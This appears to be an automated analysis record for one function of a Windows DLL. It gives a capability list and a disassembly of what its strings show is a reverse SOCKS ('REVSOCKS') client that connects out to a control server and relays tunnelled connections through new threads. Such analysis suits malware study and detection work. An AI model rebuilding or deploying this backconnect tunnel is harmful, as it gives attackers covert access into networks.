Function at 0x18000f550
Capabilities:
Connect socket
Create thread
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
mov rbp, rcx
mov r13d, r8d
mov rcx, rdx
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rbx, rax
test rax, rax
jne 0x18000f5b5
cmp byte [rbp + 0x48], al
je 0x18000f8e9
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, 2
mov ebx, eax
call fcn.18009119c
mov rcx, rax
lea rdx, str.Ah..._Windows._Dont_want_to_get_string_of_error..._Heres_the_code:__d_n
mov r8d, ebx
call fcn.18000eb80
jmp 0x18000f8e9
xor r8d, r8d
mov r15d, 2
mov ecx, r15d
lea edx, [r8 + 1]
call qword [sym.imp.WS2_32.dll_socket]
mov rcx, qword [rbx + 0x18]
movsxd r12, eax
mov rdx, qword [rcx]
movzx ecx, r13w
mov ebx, dword [rdx]
mov dword [rsp + 0x3c], ebx
call qword [sym.imp.WS2_32.dll_htons]
lea r8d, [r15 + 0xe]
mov word [rsp + 0x38], r15w
lea rdx, [rsp + 0x38]
mov word [rsp + 0x3a], ax
mov rcx, r12
call qword [sym.imp.WS2_32.dll_connect]
movzx ecx, byte [rbp + 0x48]
test eax, eax
jns 0x18000f640
test cl, cl
je 0x18000f8e9
call fcn.1800948a8
mov ecx, dword [rax]
call fcn.180094934
mov ecx, r15d
mov rbx, rax
call fcn.18009119c
mov rcx, rax
lea rdx, str.Error_connecting_to_control:__s_n
mov r8, rbx
call fcn.18000eb80
jmp 0x18000f8e9
test cl, cl
je 0x18000f66e
movzx ecx, word [rsp + 0x3a]
call qword [sym.imp.WS2_32.dll_ntohs]
mov ecx, dword [rsp + 0x3c]
movzx edi, ax
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r8d, edi
lea rcx, str.Connected_to_the_remote_end_at__s:_d._n
mov rdx, rax
call fcn.18000ebd0
mov byte [rsp + 0x30], 1
xor edi, edi
nop word [rax + rax]
mov r8d, 1
movsxd rax, edi
lea rdx, [rsp + 0x30]
sub r8d, edi
add rdx, rax
xor r9d, r9d
mov rcx, r12
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x18000f8cc
add edi, eax
cmp edi, 1
jb 0x18000f680
cmp edi, 0xffffffff
je 0x18000f8cc
nop dword [rax + rax]
mov byte [rsp + 0xa8], 0
xor edi, edi
nop word [rax + rax]
mov r8d, 1
movsxd rax, edi
lea rdx, [rsp + 0xa8]
sub r8d, edi
add rdx, rax
xor r9d, r9d
mov rcx, r12
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x18000f8ad
add edi, eax
cmp edi, 1
jb 0x18000f6d0
test edi, edi
jle 0x18000f8ad
cmp byte [rsp + 0xa8], 0
je 0x18000f767
cmp byte [rbp + 0x48], 0
je 0x18000f80b
mov ecx, r15d
call fcn.18009119c
mov rcx, rax
lea rdx, str.Error:_non_connect_msg_sent_to_control_socket._n
call fcn.18000eb80
movzx edi, byte [rsp + 0xa8]
mov ecx, r15d
call fcn.18009119c
mov rcx, rax
lea rdx, str.Heres_what_was_sent:__d_n
mov r8d, edi
call fcn.18000eb80
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x18000f6c0
xor r8d, r8d
mov ecx, r15d
lea edx, [r8 + 1]
call qword [sym.imp.WS2_32.dll_socket]
mov r14, rax
test eax, eax
jns 0x18000f7a8
cmp byte [rbp + 0x48], 0
je 0x18000f80b
call fcn.1800948a8
mov ecx, dword [rax]
call fcn.180094934
mov ecx, r15d
mov rdi, rax
call fcn.18009119c
lea rdx, str.Error_creating_connection_socket:__s_n
jmp 0x18000f800
movzx ecx, r13w
mov dword [rsp + 0x4c], ebx
call qword [sym.imp.WS2_32.dll_htons]
movsxd rsi, r14d
lea rdx, [rsp + 0x48]
mov rcx, rsi
mov word [rsp + 0x4a], ax
mov r8d, reloc.WS2_32.dll_recv
mov word [rsp + 0x48], r15w
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jns 0x18000f81b
cmp byte [rbp + 0x48], 0
je 0x18000f80b
call fcn.1800948a8
mov ecx, dword [rax]
call fcn.180094934
mov ecx, r15d
mov rdi, rax
call fcn.18009119c
lea rdx, str.Error_connecting_on_CONNECT:__s_n
mov r8, rdi
mov rcx, rax
call fcn.18000eb80
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x18000f6c0
mov byte [rsp + 0x31], r15b
xor edi, edi
mov r8d, 1
movsxd rax, edi
lea rdx, [rsp + 0x31]
sub r8d, edi
add rdx, rax
xor r9d, r9d
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x18000f896
add edi, eax
cmp edi, 1
jb 0x18000f822
cmp edi, 0xffffffff
je 0x18000f896
mov ecx, 0x20
call fcn.1800949d4
mov qword [rsp + 0x28], 0
lea r8, [0x18000ec30]
mov r9, rax
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
mov qword [rax], rbp
movups xmm0, xmmword [rsp + 0x48]
mov dword [rax + 8], r14d
movups xmmword [rax + 0xc], xmm0
call qword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x18000f6c0
cmp byte [rbp + 0x48], 0
je 0x18000f8e9
mov ecx, r15d
call fcn.18009119c
lea rdx, str.Control_server_died._Cannot_send_REVSOCKS_NORMAL_handshake__n
jmp 0x18000f8e1
cmp byte [rbp + 0x48], 0
je 0x18000f8ee
mov ecx, r15d
call fcn.18009119c
mov rcx, rax
lea rdx, str.Control_server_has_errored_or_died._n
call fcn.18000eb80
jmp 0x18000f8ee
cmp byte [rbp + 0x48], 0
je 0x18000f8e9
mov ecx, r15d
call fcn.18009119c
lea rdx, str.Control_handshake_failure__control_server_died__probably._n
mov rcx, rax
call fcn.18000eb80
mov eax, 0xffffffff
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret